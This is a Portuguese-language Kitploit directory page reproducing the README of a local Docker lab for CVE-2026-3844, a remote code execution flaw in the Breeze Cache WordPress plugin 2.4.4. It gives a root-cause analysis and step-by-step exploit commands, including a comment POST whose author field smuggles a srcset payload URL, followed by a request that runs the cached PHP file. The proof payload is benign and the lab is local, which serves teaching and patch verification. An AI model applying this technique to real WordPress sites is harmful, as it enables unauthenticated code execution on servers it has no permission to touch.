Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-3844-Lab | Kitploit
Ferramentas/GitHubGitHub/rootdirective-sec/cve-2026-3844-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubrootdirective-sec/cve-2026-3844-lab

CVE-2026-3844-Lab

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-3844 — Laboratório de Upload Arbitrário de Arquivo Não Autenticado para RCE no Breeze Cache

Laboratório Docker exclusivamente local para reproduzir e comparar o comportamento da CVE-2026-3844 no plugin Breeze Cache do WordPress.

Este repositório demonstra o comportamento vulnerável no Breeze Cache 2.4.4 e o compara com o comportamento corrigido no Breeze Cache 2.4.5. O laboratório usa dois serviços WordPress isolados, um vulnerável e um corrigido, além de um servidor de payload local dentro da rede Docker.

A prova de conceito é intencionalmente de dano mínimo: não usa webshell, não expõe parâmetro de comando, não inicia reverse shell e não exige leitura de arquivos de dentro do contêiner. A prova baseia-se no comportamento HTTP observável a partir do host.


Resumo Executivo

A CVE-2026-3844 afeta o plugin Breeze Cache para WordPress até a versão 2.4.4, inclusive. O caminho de código vulnerável está relacionado ao recurso de cache local de Gravatars do plugin, especificamente ao fluxo fetch_gravatar_from_remote().

Quando a opção Host Files Locally - Gravatars do Breeze está habilitada, versões vulneráveis podem buscar um arquivo remoto controlado pelo atacante e armazená-lo em um diretório de cache publicamente acessível via web. Se o arquivo buscado for PHP, ele pode ser executado pelo servidor web quando solicitado via HTTP.

Este laboratório reproduz esse comportamento localmente:

  • Serviço vuln: WordPress + Breeze Cache 2.4.4
  • Serviço patched: WordPress + Breeze Cache 2.4.5
  • Serviço payload: servidor de payload local exclusivo do Docker
  • PoC: gatilho não autenticado baseado em comentário usando uma string srcset controlada

O resultado esperado é:

  • http://127.0.0.1:8081 / Breeze 2.4.4 → o PHP de prova é armazenado em cache e executado
  • http://127.0.0.1:8082 / Breeze 2.4.5 → o PHP de prova não é armazenado em cache/não é legível/não é executado

Estrutura do Repositório

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── seed-wordpress.sh
├── payload/
│   └── manual-proof.php
│   └── proof-cve3844.php
├── poc/
│   └── poc.py
│   └── requirements.txt
├── .gitignore
├── README.md

Arquitetura do Laboratório

root@kitploit:~
Host machine
│
├── http://127.0.0.1:8081  -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082  -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100  -> local payload server

Docker network
│
├── vuln       -> WordPress vulnerable target
├── patched    -> WordPress patched target
├── vuln_db    -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload    -> Python static HTTP server

Os contêineres WordPress buscam o payload por meio da URL da rede Docker:

root@kitploit:~
http://payload:9100/<payload-file>.php

O host verifica o resultado por meio de requisições HTTP normais aos serviços WordPress.


Componente Afetado

  • Produto: plugin Breeze Cache para WordPress
  • Versão vulnerável neste laboratório: 2.4.4
  • Versão corrigida neste laboratório: 2.4.5
  • Função vulnerável: fetch_gravatar_from_remote()
  • Arquivo relevante: inc/class-breeze-cache-cronjobs.php
  • Pré-condição necessária: breeze-store-gravatars-locally deve estar habilitado

O comportamento vulnerável só é alcançável quando o cache local de Gravatars está habilitado. Essa opção vem desabilitada por padrão em instalações típicas, mas este laboratório a habilita intencionalmente para reproduzir o caminho de código vulnerável.


Resumo da Causa Raiz

No Breeze Cache 2.4.4, o fluxo de localização de Gravatars pode extrair uma URL remota do HTML relacionado a avatares e passar essa URL para fetch_gravatar_from_remote().

A versão vulnerável não possui validação suficiente em relação ao arquivo remoto:

  • sem validação rigorosa de host confiável para fontes de Gravatar
  • sem lista de permissões confiável de extensões de arquivo antes de salvar
  • sem validação de MIME/conteúdo antes de colocar o arquivo em um diretório de cache público
  • o arquivo buscado pode manter uma extensão perigosa como .php

O arquivo resultante é armazenado em:

root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/

Quando um arquivo PHP é salvo nesse diretório e depois solicitado por meio do Apache/PHP, o servidor o executa.

No Breeze Cache 2.4.5, o fluxo corrigido adiciona validação que impede que este payload do laboratório seja armazenado em cache como PHP executável. Na reprodução local, o mesmo gatilho funciona contra o 2.4.4, mas não expõe o marcador de prova contra o 2.4.5.


Por Que Este Laboratório Usa um Helper de MU Plugin

Este laboratório mantém intencionalmente o servidor de payload local em vez de usar um host de payload público.

O download_url() do WordPress e a API HTTP do WordPress rejeitam por padrão alguns hostnames Docker privados e portas não padronizadas. Scripts de exploit públicos costumam usar URLs de payload HTTPS públicas, que evitam essa restrição. Este laboratório não faz isso.

Para manter a reprodução totalmente local, o script de seed instala um pequeno helper de MU plugin local-only que:

  • permite apenas os hostnames Docker locais de payload payload e payload.local
  • permite apenas as portas do laboratório 80 e 9100
  • aprova automaticamente comentários do laboratório
  • desabilita verificações de flood de comentários para testes locais determinísticos

Este helper não modifica o código-fonte do Breeze. Tanto o serviço vulnerável quanto o corrigido usam versões reais do plugin Breeze instaladas via WP-CLI.

O helper existe apenas para tornar o laboratório Docker determinístico e exclusivamente local.


Modelo de Segurança

Este repositório destina-se apenas a pesquisa de segurança local e demonstração de portfólio.

Salvaguardas:

  • executa somente em localhost e em serviços da rede Docker
  • sem servidor de callback externo
  • sem alvo de exploit público
  • sem reverse shell
  • sem shell interativo
  • sem comportamento de webshell cmd=
  • sem segredos ou credenciais reais
  • sem leitura de arquivos do contêiner para a prova
  • a prova é observada por meio do comportamento das respostas HTTP

O payload da PoC imprime informações benignas do runtime do PHP:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>

Isso comprova o contexto de execução de código sem disparar comandos de shell.


Requisitos

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3.9+
  • Pacote Python: requests

Instale a dependência Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

O requirements.txt deve conter:

root@kitploit:~
requests

Início Rápido

Compile e inicie o laboratório:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

Verifique o status dos serviços:

root@kitploit:~
docker compose ps

Serviços esperados:

root@kitploit:~
vuln        healthy    http://127.0.0.1:8081
patched     healthy    http://127.0.0.1:8082
payload     running    http://127.0.0.1:9100
vuln_db     healthy
patched_db  healthy

Verifique os logs do seed:

root@kitploit:~
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched

Linhas de log esperadas:

root@kitploit:~
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5

Verificar Prontidão do Laboratório

Verifique a instalação do WordPress:

root@kitploit:~
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html

Verifique as versões do Breeze:

root@kitploit:~
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html

Esperado:

root@kitploit:~
2.4.4
2.4.5

Verifique a pré-condição vulnerável:

root@kitploit:~
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html

Esperado:

root@kitploit:~
1
1

Verifique se o WordPress consegue buscar o serviço de payload local:

root@kitploit:~
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html

Se o proof-cve3844.php ainda não existir, crie um arquivo temporário qualquer em payload/ ou execute a PoC uma vez.


Executando a PoC

Execute contra o serviço vulnerável:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8081

Resultado vulnerável esperado:

root@kitploit:~
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed

Exemplo de saída da prova:

root@kitploit:~
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

Execute contra o serviço corrigido:

root@kitploit:~
python3 poc/poc.py --base-url http://127.0.0.1:8082

Resultado corrigido esperado:

root@kitploit:~
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable

Um redirecionamento como 301 Moved Permanently não é considerado prova. A PoC exige que o marcador exclusivo apareça no corpo da resposta HTTP.


O Que a PoC Faz

A PoC executa o seguinte fluxo exclusivamente local:

  1. Gera um arquivo de prova PHP exclusivo em payload/.
  2. Disponibiliza-o por meio do serviço de payload local.
  3. Publica um comentário WordPress não autenticado com um valor de autor contendo:
root@kitploit:~
x srcset=http://payload:9100/<unique-payload>.php
  1. Solicita a página do post no WordPress para acionar o processamento de avatares do Breeze.
  2. Verifica o caminho público esperado do cache do Breeze:
root@kitploit:~
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
  1. Confirma a vulnerabilidade somente se o marcador de prova exclusivo aparecer na resposta HTTP.
  2. Remove o arquivo de payload local gerado, a menos que --keep-payload seja usado.

A PoC não lê arquivos de dentro do contêiner alvo. As evidências são coletadas via HTTP a partir do host.


Reprodução Manual

Crie um payload manual:

root@kitploit:~
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');

echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP

Confirme que o servidor de payload serve o código-fonte PHP como texto estático:

root@kitploit:~
curl -i http://127.0.0.1:9100/manual-proof.php

Publique um comentário no serviço WordPress vulnerável:

root@kitploit:~
curl -i -sS \
  -X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'comment_post_ID=1' \
  --data-urlencode 'comment_parent=0' \
  --data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'url=' \
  --data-urlencode 'comment=manual CVE-2026-3844 proof' \
  --data-urlencode 'submit=Post Comment'

Acione o processamento do Breeze renderizando o post por meio do host de URL do site WordPress configurado:

root@kitploit:~
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html

Evidência HTML esperada:

root@kitploit:~
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'

Solicite o arquivo PHP armazenado em cache:

root@kitploit:~
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'

Prova vulnerável esperada:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8

CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>

Verifique os logs do payload:

root@kitploit:~
docker compose logs --tail=50 payload

Esperado:

root@kitploit:~
GET /manual-proof.php HTTP/1.1" 200

Resultados Esperados

TargetVersão do BreezeResultado Esperado
http://127.0.0.1:80812.4.4A prova PHP é buscada, armazenada em cache e executável
http://127.0.0.1:80822.4.5O marcador de prova PHP não é exposto

Limpeza

Pare e remova contêineres, redes e volumes:

root@kitploit:~
docker compose down -v --remove-orphans

Remova os arquivos de payload gerados, se necessário:

root@kitploit:~
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php

Referências

  • NVD — CVE-2026-3844:
    https://nvd.nist.gov/vuln/detail/CVE-2026-3844

  • Banco de dados Patchstack — Plugin WordPress Breeze Cache <= 2.4.4 Upload Arbitrário de Arquivo Não Autenticado via fetch_gravatar_from_remote:
    https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability

  • Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Upload Arbitrário de Arquivo Não Autenticado:
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote

  • Blog Wordfence — Cobertura da exploração ativa da vulnerabilidade no Breeze Cache:
    https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/

  • Página do plugin Breeze Cache:
    https://wordpress.org/plugins/breeze/

  • Downloads dos plugins WordPress usados neste laboratório:

    • Breeze Cache 2.4.4:
      https://downloads.wordpress.org/plugin/breeze.2.4.4.zip
    • Breeze Cache 2.4.5:
      https://downloads.wordpress.org/plugin/breeze.2.4.5.zip
  • WordPress Plugin Trac — Referência do código-fonte do Breeze, class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php


Aviso Legal

Este projeto destina-se apenas a pesquisa de segurança local autorizada. Não execute a PoC contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.

Baixar ferramenta
  • WordPress Plugin Trac — Referência do código-fonte corrigido do Breeze, class-breeze-cache-cronjobs.php:
    https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php